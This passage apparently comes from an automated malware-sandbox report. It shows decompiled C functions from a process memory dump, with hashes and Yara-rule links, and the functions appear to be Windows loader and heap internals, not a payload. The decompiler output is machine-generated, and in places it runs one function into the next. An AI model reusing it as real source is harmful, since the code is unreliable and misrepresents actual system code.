				E012CD08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E012B95D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E012B95D0();
				_t33 =  *0x13684c4; // 0x0
				L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x13684c4; // 0x0
				L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x13684c4; // 0x0
				E01292280(L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x13686b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E012B95D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E012B95D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E01279325();
					_t50 =  *0x13684c4; // 0x0
					return E012CD0D1(L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x01279240
0x01279242
0x01279247
0x0127924c
0x0127924e
0x01279255
0x01279257
0x0127925a
0x0127925f
0x0127925f
0x01279266
0x01279271
0x01279276
0x01279279
0x0127927e
0x01279295
0x0127929a
0x012792b1
0x012792b6
0x012792d7
0x012792dc
0x012792e0
0x012792e6
0x012792e8
0x012792ee
0x01279332
0x01279333
0x01279337
0x01279338
0x0127933a
0x0127933a
0x0127933d
0x01279342
0x01279342
0x01279345
0x01279349
0x0127934e
0x01279352
0x01279357
0x012792f4
0x012792f4
0x012792f6
0x012792f9
0x01279300
0x01279306
0x01279324
0x01279324

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 39cdb7d639b181e2b4954a825e94b2d095f832acf2295c9b1990d1004763a53a
Instruction ID: 3cdd712bdd2d6d7e3d692275515fa77a7df01b3f180da68db8c3cced5cb26adf
Opcode Fuzzy Hash: 39cdb7d639b181e2b4954a825e94b2d095f832acf2295c9b1990d1004763a53a
Instruction Fuzzy Hash: 76215971061602DFCB26EF6CCA40F6AB7B9BF18718F0445ACE109966A2CB34E981CB44

Uniqueness

Uniqueness Score: -1.00%

Function 01304257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E01304257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x13508d0);
				E012CD08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E013041E8(__ebx, __edi, __ecx, _t39);
				E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x13687e4;
					_t18 =  *0x13687e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x1365cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x13687e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x13687e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L01277055(_t31 + 0xfffffff8);
								_t24 =  *0x13687e0; // 0x0
								_t18 = _t24 - 1;
								 *0x13687e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x1365cd0;
				if( *0x1365cd0 <= 0) {
					L01277055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x13687e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x13687e8 = _t30;
						 *0x13687e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E012CD0D1(L01304320());
			}

0x01304257
0x01304257
0x01304257
0x01304259
0x0130425e
0x01304263
0x01304265
0x01304273
0x01304278
0x0130427c
0x0130427f
0x01304281
0x01304287
0x013042d7
0x013042d7
0x013042da
0x0130428d
0x0130428d
0x0130428f
0x01304292
0x01304297
0x0130429c
0x013042a0
0x013042a6
0x013042a8
0x013042ae
0x013042b3
0x00000000
0x013042ba
0x013042ba
0x013042bf
0x013042c5
0x013042ca
0x013042cf
0x013042d0
0x00000000
0x013042d0
0x013042b3
0x00000000
0x013042a6
0x0130429c
0x013042dc
0x013042dc
0x013042e3
0x01304309
0x013042e5
0x013042e5
0x013042e8
0x013042ee
0x013042f0
0x00000000
0x013042f2
0x013042f2
0x013042f4
0x013042f7
0x013042f9
0x01304300
0x01304300
0x013042f0
0x0130430e
0x0130431f

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3a1bac345dd5c90048cb85e88a53cc11043b54cdda97202df7b32888bc6a85a
Instruction ID: 6d8b3414701d65410717e5f5c6ae2295119d2e6367e34ce587dd33fdc2de0046
Opcode Fuzzy Hash: a3a1bac345dd5c90048cb85e88a53cc11043b54cdda97202df7b32888bc6a85a
Instruction Fuzzy Hash: 89216A70601701CFC726DF68D024A24BBF9FF89358F10C2AED2158B2A9DB35D691CB40

Uniqueness

Uniqueness Score: -1.00%

Function 012A2397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E012A2397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x136848c != 0) {
					L0129FAD0(0x1368610);
					if( *0x136848c == 0) {
						E0129FA00(0x1368610, _t19, _t27, 0x1368610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E012A2581(0x1368610, 0x12550a0, _t26, _t27, _t28);
						E0129FA00(0x1368610, 0x12550a0, _t27, 0x1368610);
					}
				} else {
					L1:
					_t11 =  *0x1368614; // 0x0
					if(_t11 == 0) {
						_t11 = E012B4886(0x1251088, 1, 0x1368614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E012A2581(0x1368610, (_t11 << 4) + 0x1255070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x012a23b0
0x012a23b6
0x012a2409
0x012a2415
0x012e5ae9
0x00000000
0x012a241b
0x012a241b
0x012a241d
0x012a2427
0x012a242e
0x012a2430
0x012a2430
0x012a23b8
0x012a23b8
0x012a23b8
0x012a23bf
0x012a23fc
0x012a23fc
0x012a23c1
0x012a23c3
0x012a23d0
0x012a23d8
0x012a23d8
0x012a23dc
0x012a23de
0x012a23e1
0x012a23e1
0x012a23ec

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a79a5b123c4f8bb6bf45cb411a7bdc7c36139d132ac4c3bd80a6dfac8971c1
Instruction ID: dd9b2cce6379a1a7d1576df33d908951e86e14f29aaed4d4726d810f68a2e2ae
Opcode Fuzzy Hash: 50a79a5b123c4f8bb6bf45cb411a7bdc7c36139d132ac4c3bd80a6dfac8971c1
Instruction Fuzzy Hash: 9A112B71734301A7E770A72DAC80B25BBDDFB64720F54845AFB42E7251C9B4E8408754

Uniqueness

Uniqueness Score: -1.00%

Function 012F46A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E012F46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E012BF3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E012AD268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L012977F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x012f46b7
0x012f46ba
0x012f46c5
0x012f46c8
0x012f46d0
0x012f46d4
0x012f46e6
0x012f46e9
0x012f46f4
0x012f46ff
0x012f4705
0x012f4706
0x012f470c
0x012f4713
0x012f471b
0x012f4723
0x012f4725
0x012f46d6
0x012f46d9
0x012f46db
0x012f46db
0x012f4732

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: aa5ec5c67a8e7bd6c7983f52a1c1956de913a62e14d2808e5772f2ec8197f526
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 5F110272514248BFCB05AF5C98808BEB7B9EF95304F10806EF944C7351DA318D51C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0127C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E0127C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t19;
				char _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				char _t32;
				char _t34;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x136d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E0128EEF0(0x13670a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E012FF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E0128EB70(_t29, 0x13670a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E012BB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E012FF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x13670c0; // 0x0
					while(_t38 != 0x13670c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x136b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x0127c96a
0x0127c974
0x0127c988
0x0127c98a
0x012e7c9d
0x012e7c9f
0x012e7ca4
0x012e7cae
0x012e7cf0
0x012e7cf5
0x012e7cfa
0x0127c992
0x0127c996
0x0127c997
0x0127c998
0x0127c9a3
0x0127c9a3
0x012e7cb0
0x012e7cb7
0x012e7cbb
0x00000000
0x00000000
0x012e7cbd
0x012e7ce8
0x012e7cc5
0x012e7cc8
0x012e7cca
0x012e7cd0
0x012e7cd6
0x012e7cde
0x012e7ce4
0x012e7ce4
0x012e7cd0
0x00000000
0x012e7ce8
0x0127c990
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67692fb9a8a9f3409fef1ddfe97c8a1057d42de5e5a9a06f3c07118b1d05f6b
Instruction ID: e2c8f7484073636c43e187f871c73c9297dd8bb8cd0253dc1038870f98800203
Opcode Fuzzy Hash: f67692fb9a8a9f3409fef1ddfe97c8a1057d42de5e5a9a06f3c07118b1d05f6b
Instruction Fuzzy Hash: 8611C2323346079BC710AF29DC89A6BB7E9FB85614F801528EA41836A1DB60EC24C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 012B37F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E012B37F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E01292280(_t6, 0x1368550);
				}
				_t29 = E012B387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E0128FFB0(0x1368550, _t27, 0x1368550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x012b37fa
0x012b37fc
0x012b3805
0x012b3808
0x012b3808
0x012b3814
0x012b3818
0x012b3846
0x012b3848
0x012b384b
0x012b384b
0x012b3852
0x00000000
0x012b3854
0x012b3856
0x00000000
0x00000000
0x012b3863
0x00000000
0x012b3863
0x012b381a
0x012b381a
0x012b381f
0x012b386e
0x012b386e
0x012b3871
0x012b3873
0x012b3873
0x012b3868
0x00000000
0x012b3868
0x012b3821
0x012b3826
0x00000000
0x00000000
0x012b3828
0x012b382a
0x012b3841
0x00000000
0x012b3841

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a215078b2af70d1d1cdc8c239b075d213aa551aa64288d79dcba70b1fa7160c
Instruction ID: a7b47e79b530254f66734d930cb82ab421c41e0bd724279e94a61b21b9b092b9
Opcode Fuzzy Hash: 7a215078b2af70d1d1cdc8c239b075d213aa551aa64288d79dcba70b1fa7160c
Instruction Fuzzy Hash: 9E01F972A226129BC337CB1DD980E76BBA6FF85BE0715406DEA458B315DB30D801C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 012A002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012A002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E01297D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E01297D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E01297D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E01297D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x012a0032
0x012a0037
0x012a0043
0x012e4b3a
0x012a0049
0x012a0049
0x012a0049
0x012a004e
0x012a0053
0x012e4b48
0x012e4b5a
0x012e4b4a
0x012e4b53
0x012e4b53
0x012e4b5f
0x00000000
0x012e4b61
0x00000000
0x012e4b61
0x012a0059
0x012a0059
0x012a0060
0x012e4b6f
0x012e4b6f
0x012a0069
0x012e4b83
0x00000000
0x00000000
0x012e4b90
0x012e4b9b
0x012e4b9b
0x012e4ba4
0x00000000
0x00000000
0x012e4baa
0x00000000
0x012a006f
0x012a006f
0x00000000
0x012a006f
0x012a0069

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: e1abab52ec78f496c20b0d133e4a2f24b71fbcfd5328b234123d22e1a35c1e0b
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 2611E132A316C28FEF23A76CC949B353BD9AB41754F4900A4EE04C7A92F368D841C664

Uniqueness

Uniqueness Score: -1.00%

Function 0128766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0128766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E012AF3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E012AF3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L01294620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x01287672
0x0128767f
0x01287689
0x012876de
0x012876de
0x0128768b
0x01287691
0x01287693
0x01287697
0x00000000
0x01287699
0x012876a8
0x00000000
0x012876aa
0x012876ad
0x012876b1
0x00000000
0x012876b3
0x012876b3
0x012876b5
0x012876ba
0x012876bc
0x012876bc
0x012876c0
0x00000000
0x012876c2
0x012876ce
0x012876ce
0x012876c0
0x012876b1
0x012876a8
0x01287697
0x012876d9

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: e5232ee18b43d7966dd73b31d1b1dd1c582c6ace847cb88affd3fc2dd4411902
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: 5B018D72721129AFD710AE5FCD41E5B7FADEB54664B340524BA08CB290DA31ED0187A0

Uniqueness

Uniqueness Score: -1.00%

Function 01279080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E01279080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x13685ec;
				E01292280(_t48, 0x13685ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E0128FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x136538c; // 0x773b6828
					if( *_t84 != 0x1365388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x134f6e8);
						E012CD0E8(0x13685ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E013488F5(_t80, _t85, 0x1365388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x13686c0; // 0xd407b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x13686b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E01292280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E013488F5(0x13685ec, _t85, 0x1365388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E012BAFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x136b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x13684c0;
																			if(_t82 >=  *0x13684c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E01349063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E0127922A(_t99);
										_t64 = E01297D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E01348B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x13686c0; // 0xd407b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x13686b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x13686bc;
													_t87 = 0x13686b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E01279240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x13686c4;
												_t87 = 0x13686c0;
												L27:
												E012A9B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E012CD130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x1365388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x136538c = _t51;
						goto L6;
					}
				}
			}

0x01279082
0x01279083
0x01279084
0x01279085
0x01279087
0x01279096
0x01279098
0x01279098
0x0127909e
0x012790a8
0x012790e7
0x012790e7
0x012790aa
0x012790b0
0x012790b7
0x012790bd
0x012790dd
0x012790e6
0x012790bf
0x012790bf
0x012790c7
0x012790cf
0x012790f1
0x012790f2
0x012790f4
0x012790f5
0x012790f6
0x012790f7
0x012790f8
0x012790f9
0x012790fa
0x012790fb
0x012790fc
0x012790fd
0x012790fe
0x012790ff
0x01279100
0x01279102
0x01279107
0x0127910c
0x01279110
0x01279113
0x01279115
0x01279136
0x0127913f
0x01279143
0x012d37e4
0x012d37e4
0x01279117
0x01279117
0x0127911d
0x00000000
0x0127911f
0x0127911f
0x01279125
0x00000000
0x01279127
0x0127912d
0x01279130
0x01279134
0x01279158
0x0127915d
0x01279161
0x01279168
0x012d3715
0x0127916e
0x0127916e
0x01279175
0x01279177
0x0127917e
0x0127917f
0x01279182
0x01279182
0x01279187
0x01279187
0x0127918a
0x0127918d
0x0127918f
0x01279192
0x01279195
0x01279198
0x01279198
0x01279198
0x0127919a
0x00000000
0x00000000
0x012d371f
0x012d3721
0x012d3727
0x012d372f
0x012d3733
0x012d3735
0x012d3738
0x012d373b
0x012d373d
0x012d3740
0x00000000
0x012d3746
0x012d3746
